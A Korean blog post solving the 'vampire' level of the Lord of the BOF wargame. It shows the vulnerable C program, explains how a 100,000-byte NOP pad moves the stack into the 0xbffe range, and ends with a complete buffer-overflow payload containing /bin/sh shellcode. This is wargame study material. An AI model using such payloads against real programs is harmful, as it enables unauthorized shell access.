Pwnable/LOB

[LOB] troll 문제 풀이!

RootJJang 2022. 5. 16. 17:29
SMALL

Проверьте исходный код!!

 

[troll@localhost troll]$ cat vampire.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - vampire
        - check 0xbfff
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

오 뭔가 코드가 좀 짧아졌네요

 

어 근데 새로운 게 추가됐네요

 

// here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

인자의 47번째 값이 \xff면 프로그램이 종료된다라..

 

원래는 0xbfff____ 영역에서 RET에 덮어씌웠지만 이번엔 0xbffe____ 영역에서 RET에 덮어씌워야 하네요

 

스택은 높은 주소에서 낮은 주소로 자라기 때문에 스택이 커질수록 낮은 주소를 사용해야 합니다

 

한 번 NOP을 10만 개 정도 넣은 후 스택의 주소가 어떻게 되는지 확인해보겠습니다

 

gdb 고고!!

 

이제 주소를 확인해 봅시당

 

오 진짜로 스택의 주소가 0 xbffe____로 바뀌었네요

 

대략 0xbffe7478을 RET에 덮어씌우고 쉘코드를 넣도록 하겠습니다

 

이제 페이로드를 짜봅시당

 

Payload = ./vampire $(python -c 'print "\x90"*44 + "\x78\x74\xfe\xbf" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

 

LIST

'Pwnable > LOB' 카테고리의 다른 글

[LOB] skeleton 문제 풀이!!!!!  (4) 2022.05.26
[LOB] vampire 문제 풀이!!  (0) 2022.05.19
[LOB] orge 문제 풀이!!!!  (2) 2022.05.15
[LOB] darkelf 문제 풀이!!!!!  (0) 2022.05.13
[LOB] wolfman 문제 풀이!!!!  (0) 2022.05.13